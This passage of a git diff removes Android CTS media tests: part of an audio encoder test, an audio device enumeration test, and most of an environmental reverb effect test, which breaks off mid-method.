-                short s = buffer.getShort(i);
-                s /= 8;
-                buffer.putShort(i, s);
-            }
-        }
-
-        codec.queueInputBuffer(index, 0 /* offset */, size, timeUs, 0 /* flags */);
-
-        return size;
-    }
-
-    private void dequeueOutputBuffer(
-            MediaCodec codec, ByteBuffer[] outputBuffers,
-            int index, MediaCodec.BufferInfo info) {
-        codec.releaseOutputBuffer(index, false /* render */);
-    }
-
-    class EncoderRun implements Runnable {
-        String mComponentName;
-        MediaFormat mFormat;
-
-        EncoderRun(String componentName, MediaFormat format) {
-            mComponentName = componentName;
-            mFormat = format;
-        }
-        @Override
-        public void run() {
-            try {
-                testEncoder(mComponentName, mFormat);
-            } catch (FileNotFoundException e) {
-                e.printStackTrace();
-                fail("Received exception " + e);
-            }
-        }
-    }
-
-    // Number of tests called in testEncoder(String componentName, MediaFormat format)
-    private static int kNumEncoderTestsPerRun = 5 + mBadSeeds.length * 2;
-    private void testEncoder(String componentName, MediaFormat format)
-            throws FileNotFoundException {
-
-        Log.i(TAG, "testEncoder " + componentName + "/" + format);
-        // test with all zeroes/silence
-        testEncoder(componentName, format, 0, null, MODE_SILENT);
-
-        // test with pcm input file
-        testEncoder(componentName, format, 0, "okgoogle123_good.wav", MODE_RESOURCE);
-        testEncoder(componentName, format, 0, "okgoogle123_good.wav", MODE_RESOURCE | MODE_QUIET);
-        testEncoder(componentName, format, 0, "tones.wav", MODE_RESOURCE);
-        testEncoder(componentName, format, 0, "tones.wav", MODE_RESOURCE | MODE_QUIET);
-
-        // test with random data, with and without a few leading zeroes
-        for (int i = 0; i < mBadSeeds.length; i++) {
-            testEncoder(componentName, format, mBadSeeds[i], null, MODE_RANDOM);
-            testEncoder(componentName, format, mBadSeeds[i], null, MODE_RANDOM | MODE_SILENTLEAD);
-        }
-    }
-
-    private void testEncoder(String componentName, MediaFormat format,
-            long startSeed, final String res, int mode) throws FileNotFoundException {
-        Log.i(TAG, "testEncoder " + componentName + "/" + mode + "/" + format);
-        int sampleRate = format.getInteger(MediaFormat.KEY_SAMPLE_RATE);
-        int channelCount = format.getInteger(MediaFormat.KEY_CHANNEL_COUNT);
-        int inBitrate = sampleRate * channelCount * 16;  // bit/sec
-        int outBitrate = format.getInteger(MediaFormat.KEY_BIT_RATE);
-
-        MediaMuxer muxer = null;
-        int muxidx = -1;
-        if (sSaveResults) {
-            try {
-                String outFile = "/data/local/tmp/transcoded-" + componentName +
-                        "-" + sampleRate + "Hz-" + channelCount + "ch-" + outBitrate +
-                        "bps-" + mode + "-" + res + "-" + startSeed + "-" +
-                        (android.os.Process.is64Bit() ? "64bit" : "32bit") + ".mp4";
-                new File(outFile).delete();
-                muxer = new MediaMuxer(outFile, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-                // The track can't be added until we have the codec specific data
-            } catch (Exception e) {
-                Log.i(TAG, "couldn't create muxer: " + e);
-            }
-        }
-
-        InputStream istream = null;
-        if ((mode & MODE_RESOURCE) != 0) {
-            Preconditions.assertTestFileExists(mInpPrefix + res);
-            istream = new FileInputStream(mInpPrefix + res);
-        }
-
-        // TODO(b/191447420) WORKAROUND: sleep for 30 msec before starting new codec to allow
-        // previous codec to get deleted.
-        try {
-            Thread.sleep(30);
-        } catch (InterruptedException e) {
-            // ignore interrupted exception for this workaround
-        }
-
-        Random random = new Random(startSeed);
-        MediaCodec codec;
-        try {
-            codec = MediaCodec.createByCodecName(componentName);
-            String mime = format.getString(MediaFormat.KEY_MIME);
-            MediaCodecInfo codecInfo = codec.getCodecInfo();
-            MediaCodecInfo.CodecCapabilities caps = codecInfo.getCapabilitiesForType(mime);
-            if (!caps.isFormatSupported(format)) {
-                codec.release();
-                codec = null;
-                assertFalse(
-                    "Default codec doesn't support " + format.toString(),
-                    isDefaultCodec(componentName, mime));
-                MediaUtils.skipTest(componentName + " doesn't support " + format.toString());
-                return;
-            }
-        } catch (Exception e) {
-            fail("codec '" + componentName + "' failed construction.");
-            return; /* does not get here, but avoids warning */
-        }
-        try {
-            codec.configure(
-                    format,
-                    null /* surface */,
-                    null /* crypto */,
-                    MediaCodec.CONFIGURE_FLAG_ENCODE);
-        } catch (IllegalStateException e) {
-            fail("codec '" + componentName + "' failed configuration.");
-        }
-
-        codec.start();
-        ByteBuffer[] codecInputBuffers = codec.getInputBuffers();
-        ByteBuffer[] codecOutputBuffers = codec.getOutputBuffers();
-
-        int numBytesSubmitted = 0;
-        boolean doneSubmittingInput = false;
-        int numBytesDequeued = 0;
-
-        while (true) {
-            int index;
-
-            if (!doneSubmittingInput) {
-                index = codec.dequeueInputBuffer(kTimeoutUs /* timeoutUs */);
-
-                if (index != MediaCodec.INFO_TRY_AGAIN_LATER) {
-                    long timeUs =
-                            (long)numBytesSubmitted * 1000000 / (2 * channelCount * sampleRate);
-                    if (numBytesSubmitted >= kNumInputBytes) {
-                        codec.queueInputBuffer(
-                                index,
-                                0 /* offset */,
-                                0 /* size */,
-                                timeUs,
-                                MediaCodec.BUFFER_FLAG_END_OF_STREAM);
-
-                        if (VERBOSE) {
-                            Log.d(TAG, "queued input EOS.");
-                        }
-
-                        doneSubmittingInput = true;
-                    } else {
-                        int size = queueInputBuffer(
-                                codec, codecInputBuffers, index, istream, mode, timeUs, random);
-
-                        numBytesSubmitted += size;
-
-                        if (VERBOSE) {
-                            Log.d(TAG, "queued " + size + " bytes of input data.");
-                        }
-                    }
-                }
-            }
-
-            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-            index = codec.dequeueOutputBuffer(info, kTimeoutUs /* timeoutUs */);
-
-            if (index == MediaCodec.INFO_TRY_AGAIN_LATER) {
-            } else if (index == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-            } else if (index == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                codecOutputBuffers = codec.getOutputBuffers();
-            } else {
-                if (muxer != null) {
-                    ByteBuffer buffer = codec.getOutputBuffer(index);
-                    if (muxidx < 0) {
-                        MediaFormat trackFormat = codec.getOutputFormat();
-                        muxidx = muxer.addTrack(trackFormat);
-                        muxer.start();
-                    }
-                    muxer.writeSampleData(muxidx, buffer, info);
-                }
-
-                dequeueOutputBuffer(codec, codecOutputBuffers, index, info);
-
-                numBytesDequeued += info.size;
-
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    if (VERBOSE) {
-                        Log.d(TAG, "dequeued output EOS.");
-                    }
-                    break;
-                }
-
-                if (VERBOSE) {
-                    Log.d(TAG, "dequeued " + info.size + " bytes of output data.");
-                }
-            }
-        }
-
-        if (VERBOSE) {
-            Log.d(TAG, "queued a total of " + numBytesSubmitted + "bytes, "
-                    + "dequeued " + numBytesDequeued + " bytes.");
-        }
-
-        float desiredRatio = (float)outBitrate / (float)inBitrate;
-        float actualRatio = (float)numBytesDequeued / (float)numBytesSubmitted;
-
-        if (actualRatio < 0.9 * desiredRatio || actualRatio > 1.1 * desiredRatio) {
-            Log.w(TAG, "desiredRatio = " + desiredRatio
-                    + ", actualRatio = " + actualRatio);
-        }
-
-        codec.release();
-        codec = null;
-        if (muxer != null) {
-            muxer.stop();
-            muxer.release();
-            muxer = null;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java b/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
deleted file mode 100644
index 13a9cf8..0000000
--- a/tests/tests/media/src/android/media/cts/EnumDevicesTest.java
+++ /dev/null
@@ -1,237 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-
-import android.media.AudioDeviceCallback;
-import android.media.AudioDeviceInfo;
-import android.media.AudioManager;
-
-import android.os.Handler;
-import android.os.Looper;
-
-import android.test.AndroidTestCase;
-
-import android.util.Log;
-
-/**
- * TODO: Insert description here. (generated by pmclean)
- */
-@NonMediaMainlineTest
-public class EnumDevicesTest extends AndroidTestCase {
-    private static final String TAG = "EnumDevicesTest";
-
-    private AudioManager mAudioManager;
-
-    boolean mAddCallbackCalled = false;
-    boolean mRemoveCallbackCalled = false;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // get the AudioManager
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        assertNotNull(mAudioManager);
-    }
-
-    public void test_getDevices() {
-        AudioDeviceInfo[] deviceList;
-
-        // test an empty flags set
-        deviceList = mAudioManager.getDevices(0);
-        assertTrue(deviceList != null);
-        assertTrue(deviceList.length == 0);
-
-        PackageManager pkgMgr = mContext.getPackageManager();
-
-        boolean isTvDevice = DeviceUtils.isTVDevice(mContext);
-
-        int numOutputDevices = 0;
-        if (pkgMgr.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
-            // test OUTPUTS
-            deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
-            assertTrue(deviceList != null);
-
-            numOutputDevices = deviceList.length;
-            if (numOutputDevices == 0) {
-                boolean isHDMIConnected = DeviceUtils.isHDMIConnected(mContext);
-                if (isTvDevice && !isHDMIConnected) {
-                    Log.w(TAG, "getDevices test: failure due to missing reported output " +
-                               "or the test is run on a TV device with no HDMI connected");
-                }
-                assertTrue("getDevices test: failure due to missing HDMI connection " +
-                           "or missing output", false);
-            }
-
-            // any reported output devices should be "sinks"
-            for(int index = 0; index < numOutputDevices; index++) {
-                assertTrue(deviceList[index].isSink());
-            }
-        }
-
-        int numInputDevices = 0;
-        if (pkgMgr.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            // test INPUTS
-            deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
-            assertTrue(deviceList != null);
-
-            numInputDevices = deviceList.length;
-            assertTrue(numInputDevices != 0);
-
-            // all should be "sources"
-            for(int index = 0; index < numInputDevices; index++) {
-                assertTrue(deviceList[index].isSource());
-            }
-        }
-
-        // INPUTS & OUTPUTS
-        if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT) &&
-                mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
-            deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
-            assertTrue(deviceList != null);
-            assertTrue(deviceList.length == (numOutputDevices + numInputDevices));
-        }
-    }
-
-    public void test_devicesInfoFields() {
-        AudioDeviceInfo[] deviceList;
-        deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_ALL);
-        for (int index = 0; index < deviceList.length; index++) {
-            AudioDeviceInfo deviceInfo = deviceList[index];
-
-            // we don't say anything about the returned value.
-            int id = deviceInfo.getId();
-
-            // Product Name
-            CharSequence productName = deviceInfo.getProductName();
-            assertNotNull(productName);
-            assertTrue(productName.length() != 0);
-
-            // Address
-            String address = deviceInfo.getAddress();
-            assertNotNull(address);
-            // address may be empty
-
-            // isSource() XOR isSink()
-            assertTrue(deviceInfo.isSource() != deviceInfo.isSink());
-
-            // Sample Rates
-            int[] sampleRates = deviceInfo.getSampleRates();
-            assertNotNull(sampleRates);
-            // Note: an empty array indicates that the device supports arbitrary sample rates.
-
-            // Channel Masks
-            int[] channelMasks = deviceInfo.getChannelMasks();
-            assertNotNull(channelMasks);
-            // Note: an empty array indicates that the device supports arbitrary channel masks.
-
-            // Channel Index Masks
-            int[] indexMasks = deviceInfo.getChannelIndexMasks();
-            assertNotNull(indexMasks);
-            // Note: an empty array indicates that the device supports arbitrary channel index
-            // masks.
-
-            // Channel Counts
-            int[] channelCounts = deviceInfo.getChannelCounts();
-            assertNotNull(channelCounts);
-            // Note: an empty array indicates that the device supports arbitrary channel counts.
-
-            // Encodings
-            int[] encodings = deviceInfo.getEncodings();
-            assertNotNull(encodings);
-            // Note: an empty array indicates that the device supports arbitrary encodings.
-
-            // Encapsulation Modes
-            int[] encapsulationModes = deviceInfo.getEncapsulationModes();
-            assertNotNull(encapsulationModes);
-
-            // EncapsulationMetadataTypes
-            int[] encapsulationMetadataTypes = deviceInfo.getEncapsulationMetadataTypes();
-            assertNotNull(encapsulationMetadataTypes);
-
-            int type = deviceInfo.getType();
-            assertTrue(type != AudioDeviceInfo.TYPE_UNKNOWN);
-        }
-    }
-
-    private class EmptyDeviceCallback extends AudioDeviceCallback {
-        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
-            mAddCallbackCalled = true;
-        }
-
-        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
-            mRemoveCallbackCalled = true;
-        }
-    }
-
-    /*
-     * tests if the Looper for the current thread has been prepared,
-     * If not, it makes one, prepares it and returns it.
-     * If this returns non-null, the caller is reponsible for calling quit()
-     * on the returned Looper.
-     */
-    private Looper prepareIfNeededLooper() {
-        // non-null Handler
-        Looper myLooper = null;
-        if (Looper.myLooper() == null) {
-            Looper.prepare();
-            myLooper = Looper.myLooper();
-            assertNotNull(myLooper);
-        }
-        return myLooper;
-    }
-
-    public void test_deviceCallback() {
-        // null callback?
-        mAudioManager.registerAudioDeviceCallback(null,null);
-
-        AudioDeviceCallback callback =  new EmptyDeviceCallback();
-        AudioDeviceCallback someOtherCallback =  new EmptyDeviceCallback();
-        // null Handler
-        mAudioManager.registerAudioDeviceCallback(callback, null);
-
-        // unregister null callback
-        mAudioManager.unregisterAudioDeviceCallback(null);
-        // unregister callback not registered
-        mAudioManager.unregisterAudioDeviceCallback(someOtherCallback);
-        // nominal case
-        mAudioManager.unregisterAudioDeviceCallback(callback);
-        // remove twice
-        mAudioManager.unregisterAudioDeviceCallback(callback);
-
-        Looper myLooper = prepareIfNeededLooper();
-
-        mAudioManager.registerAudioDeviceCallback(callback, new Handler());
-        // unregister null callback
-        mAudioManager.unregisterAudioDeviceCallback(null);
-        // unregister callback not registered
-        mAudioManager.unregisterAudioDeviceCallback(someOtherCallback);
-        // nominal case
-        mAudioManager.unregisterAudioDeviceCallback(callback);
-        // remove twice
-        mAudioManager.unregisterAudioDeviceCallback(callback);
-
-        if (myLooper != null) {
-            myLooper.quit();
-        }
-    }
-
-    //TODO - Need tests for device connect/disconnect callbacks
-}
diff --git a/tests/tests/media/src/android/media/cts/EnvReverbTest.java b/tests/tests/media/src/android/media/cts/EnvReverbTest.java
deleted file mode 100644
index 10d9bb9..0000000
--- a/tests/tests/media/src/android/media/cts/EnvReverbTest.java
+++ /dev/null
@@ -1,557 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.audiofx.EnvironmentalReverb;
-import android.os.Looper;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-@NonMediaMainlineTest
-@AppModeFull(reason = "Fails in instant mode")
-public class EnvReverbTest extends PostProcTestBase {
-
-    private String TAG = "EnvReverbTest";
-    private final static int MILLIBEL_TOLERANCE = 100;            // +/-1dB
-    private final static float DELAY_TOLERANCE = 1.05f;           // 5%
-    private final static float RATIO_TOLERANCE = 1.05f;           // 5%
-    private final static int MAX_LOOPER_WAIT_COUNT = 10;
-
-    private EnvironmentalReverb mReverb = null;
-    private EnvironmentalReverb mReverb2 = null;
-    private ListenerThread mEffectListenerLooper = null;
-
-    //-----------------------------------------------------------------
-    // ENVIRONMENTAL REVERB TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        EnvironmentalReverb envReverb = null;
-         try {
-            envReverb = new EnvironmentalReverb(0, 0);
-            try {
-                assertTrue("invalid effect ID", (envReverb.getId() != 0));
-            } catch (IllegalStateException e) {
-                fail("EnvironmentalReverb not initialized");
-            }
-        } catch (IllegalArgumentException e) {
-            fail("EnvironmentalReverb not found");
-        } catch (UnsupportedOperationException e) {
-            fail("Effect library not loaded");
-        } finally {
-            if (envReverb != null) {
-                envReverb.release();
-            }
-        }
-    }
-
-
-    //-----------------------------------------------------------------
-    // 1 - get/set parameters
-    //----------------------------------
-
-    //Test case 1.0: test room level and room HF level
-    public void test1_0Room() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            short level = mReverb.getRoomLevel();
-            level = (short)((level == 0) ? -1000 : 0);
-            mReverb.setRoomLevel(level);
-            short level2 = mReverb.getRoomLevel();
-            assertTrue("got incorrect room level",
-                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
-                    (level2 < (level + MILLIBEL_TOLERANCE)));
-
-            level = mReverb.getRoomHFLevel();
-            level = (short)((level == 0) ? -1000 : 0);
-            mReverb.setRoomHFLevel(level);
-            level2 = mReverb.getRoomHFLevel();
-            assertTrue("got incorrect room HF level",
-                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
-                    (level2 < (level + MILLIBEL_TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //Test case 1.1: test decay time and ratio
-    public void test1_1Decay() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            int time = mReverb.getDecayTime();
-            time = (time == 500) ? 1000 : 500;
-            mReverb.setDecayTime(time);
-            int time2 = mReverb.getDecayTime();
-            assertTrue("got incorrect decay time",
-                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
-                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
-            short ratio = mReverb.getDecayHFRatio();
-            ratio = (short)((ratio == 500) ? 1000 : 500);
-            mReverb.setDecayHFRatio(ratio);
-            short ratio2 = mReverb.getDecayHFRatio();
-            assertTrue("got incorrect decay HF ratio",
-                    ((float)ratio2 > (float)(ratio / RATIO_TOLERANCE)) &&
-                    ((float)ratio2 < (float)(ratio * RATIO_TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-
-    //Test case 1.2: test reverb level and delay
-    public void test1_2Reverb() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            short level = mReverb.getReverbLevel();
-            level = (short)((level == 0) ? -1000 : 0);
-            mReverb.setReverbLevel(level);
-            short level2 = mReverb.getReverbLevel();
-            assertTrue("got incorrect reverb level",
-                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
-                    (level2 < (level + MILLIBEL_TOLERANCE)));
-
-// FIXME:uncomment actual test when early reflections are implemented in the reverb
-//            int time = mReverb.getReverbDelay();
-//             mReverb.setReverbDelay(time);
-//            int time2 = mReverb.getReverbDelay();
-//            assertTrue("got incorrect reverb delay",
-//                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
-//                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
-            mReverb.setReverbDelay(0);
-            int time2 = mReverb.getReverbDelay();
-            assertEquals("got incorrect reverb delay", mReverb.getReverbDelay(), 0);
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //Test case 1.3: test early reflections level and delay
-    public void test1_3Reflections() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-// FIXME:uncomment actual test when early reflections are implemented in the reverb
-//            short level = mReverb.getReflectionsLevel();
-//            level = (short)((level == 0) ? -1000 : 0);
-//            mReverb.setReflectionsLevel(level);
-//            short level2 = mReverb.getReflectionsLevel();
-//            assertTrue("got incorrect reflections level",
-//                    (level2 > (level - MILLIBEL_TOLERANCE)) &&
-//                    (level2 < (level + MILLIBEL_TOLERANCE)));
-//
-//            int time = mReverb.getReflectionsDelay();
-//            time = (time == 20) ? 0 : 20;
-//            mReverb.setReflectionsDelay(time);
-//            int time2 = mReverb.getReflectionsDelay();
-//            assertTrue("got incorrect reflections delay",
-//                    ((float)time2 > (float)(time / DELAY_TOLERANCE)) &&
-//                    ((float)time2 < (float)(time * DELAY_TOLERANCE)));
-            mReverb.setReflectionsLevel((short) 0);
-            assertEquals("got incorrect reverb delay",
-                    mReverb.getReflectionsLevel(), (short) 0);
-            mReverb.setReflectionsDelay(0);
-            assertEquals("got incorrect reverb delay",
-                    mReverb.getReflectionsDelay(), 0);
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //Test case 1.4: test diffusion and density
-    public void test1_4DiffusionAndDensity() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            short ratio = mReverb.getDiffusion();
-            ratio = (short)((ratio == 500) ? 1000 : 500);
-            mReverb.setDiffusion(ratio);
-            short ratio2 = mReverb.getDiffusion();
-            assertTrue("got incorrect diffusion",
-                    ((float)ratio2 > (float)(ratio / RATIO_TOLERANCE)) &&
-                    ((float)ratio2 < (float)(ratio * RATIO_TOLERANCE)));
-
-            ratio = mReverb.getDensity();
-            ratio = (short)((ratio == 500) ? 1000 : 500);
-            mReverb.setDensity(ratio);
-            ratio2 = mReverb.getDensity();
-            assertTrue("got incorrect density",
-                    ((float)ratio2 > (float)(ratio / RATIO_TOLERANCE)) &&
-                    ((float)ratio2 < (float)(ratio * RATIO_TOLERANCE)));
-
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //Test case 1.5: test properties
-    public void test1_5Properties() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            EnvironmentalReverb.Settings settings = mReverb.getProperties();
-            String str = settings.toString();
-            settings = new EnvironmentalReverb.Settings(str);
-            short level = (short)((settings.roomLevel == 0) ? -1000 : 0);
-            settings.roomLevel = level;
-            mReverb.setProperties(settings);
-            settings = mReverb.getProperties();
-            assertTrue("setProperties failed",
-                    (settings.roomLevel >= (level - MILLIBEL_TOLERANCE)) &&
-                    (settings.roomLevel <= (level + MILLIBEL_TOLERANCE)));
-        } catch (IllegalArgumentException e) {
-            fail("Bad parameter value");
-        } catch (UnsupportedOperationException e) {
-            fail("get parameter() rejected");
-        } catch (IllegalStateException e) {
-            fail("get parameter() called in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - Effect enable/disable
-    //----------------------------------
-
-    //Test case 2.0: test setEnabled() and getEnabled() in valid state
-    public void test2_0SetEnabledGetEnabled() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        try {
-            mReverb.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mReverb.getEnabled());
-            mReverb.setEnabled(false);
-            assertFalse("invalid state to getEnabled", mReverb.getEnabled());
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //Test case 2.1: test setEnabled() throws exception after release
-    public void test2_1SetEnabledAfterRelease() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        getReverb(0);
-        mReverb.release();
-        try {
-            mReverb.setEnabled(true);
-            fail("setEnabled() processed after release()");
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseReverb();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 priority and listeners
-    //----------------------------------
-
-    //Test case 3.0: test control status listener
-    public void test3_0ControlStatusListener() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mHasControl = true;
-            mInitialized = false;
-            createListenerLooper(true, false, false);
-            waitForLooperInitialization_l();
-
-            getReverb(0);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mHasControl && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseReverb();
-        }
-        assertFalse("effect control not lost by effect1", mHasControl);
-    }
-
-    //Test case 3.1: test enable status listener
-    public void test3_1EnableStatusListener() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-         synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, true, false);
-            waitForLooperInitialization_l();
-
-            mReverb2.setEnabled(true);
-            mIsEnabled = true;
-            getReverb(0);
-            mReverb.setEnabled(false);
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while (mIsEnabled && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseReverb();
-        }
-        assertFalse("enable status not updated", mIsEnabled);
-    }
-
-    //Test case 3.2: test parameter changed listener
-    public void test3_2ParameterChangedListener() throws Exception {
-        if (!isEnvReverbAvailable()) {
-            return;
-        }
-        synchronized(mLock) {
-            mInitialized = false;
-            createListenerLooper(false, false, true);
-            waitForLooperInitialization_l();
-
-            getReverb(0);
-            mChangedParameter = -1;
-            mReverb.setRoomLevel((short)0);
-
-            int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-            while ((mChangedParameter == -1) && (looperWaitCount-- > 0)) {
-                try {
-                    mLock.wait();
-                } catch(Exception e) {
-                }
-            }
-            terminateListenerLooper();
-            releaseReverb();
-        }
-        assertEquals("parameter change not received",
-                EnvironmentalReverb.PARAM_ROOM_LEVEL, mChangedParameter);
-    }
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-
-    private void getReverb(int session) {
-         if (mReverb == null || session != mSession) {
-             if (session != mSession && mReverb != null) {
-                 mReverb.release();
-                 mReverb = null;
-             }
-             try {
-                mReverb = new EnvironmentalReverb(0, session);
-                mSession = session;
-            } catch (IllegalArgumentException e) {
-                Log.e(TAG, "getReverb() EnvironmentalReverb not found exception: "+e);
-            } catch (UnsupportedOperationException e) {
-                Log.e(TAG, "getReverb() Effect library not loaded exception: "+e);
-            }
-         }
-         assertNotNull("could not create mReverb", mReverb);
-    }
-
-    private void releaseReverb() {
-        if (mReverb != null) {
-            mReverb.release();
-            mReverb = null;
-        }
-    }
-
-    private void waitForLooperInitialization_l() {
-        int looperWaitCount = MAX_LOOPER_WAIT_COUNT;
-        while (!mInitialized && (looperWaitCount-- > 0)) {
-            try {
-                mLock.wait();
-            } catch(Exception e) {
-            }
-        }
-        assertTrue(mInitialized);
-    }
-
-    // Initializes the reverb listener looper
-    class ListenerThread extends Thread {
-        boolean mControl;
-        boolean mEnable;
-        boolean mParameter;
-
-        public ListenerThread(boolean control, boolean enable, boolean parameter) {
-            super();
-            mControl = control;
-            mEnable = enable;
-            mParameter = parameter;
-        }
-
-        public void cleanUp() {
-            if (mReverb2 != null) {
-                mReverb2.setControlStatusListener(null);
-                mReverb2.setEnableStatusListener(null);
-                mReverb2.setParameterListener(
-                            (EnvironmentalReverb.OnParameterChangeListener)null);
-            }
-        }
-    }
-
-    private void createListenerLooper(boolean control, boolean enable, boolean parameter) {
-        mEffectListenerLooper = new ListenerThread(control, enable, parameter) {
-            @Override
-            public void run() {
-                // Set up a looper
-                Looper.prepare();
-
-                // Save the looper so that we can terminate this thread
-                // after we are done with it.
-                mLooper = Looper.myLooper();
-
-                mReverb2 = new EnvironmentalReverb(0, 0);
-                assertNotNull("could not create reverb2", mReverb2);
-
-                synchronized(mLock) {
-                    if (mControl) {
-                        mReverb2.setControlStatusListener(
-                                new AudioEffect.OnControlStatusChangeListener() {
-                            public void onControlStatusChange(
-                                    AudioEffect effect, boolean controlGranted) {
-                                synchronized(mLock) {
-                                    if (effect == mReverb2) {
-                                        mHasControl = controlGranted;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mEnable) {
-                        mReverb2.setEnableStatusListener(
-                                new AudioEffect.OnEnableStatusChangeListener() {
-                            public void onEnableStatusChange(AudioEffect effect, boolean enabled) {
-                                synchronized(mLock) {
-                                    if (effect == mReverb2) {
-                                        mIsEnabled = enabled;
-                                        mLock.notify();
-                                    }
-                                }
-                            }
-                        });
-                    }
-                    if (mParameter) {
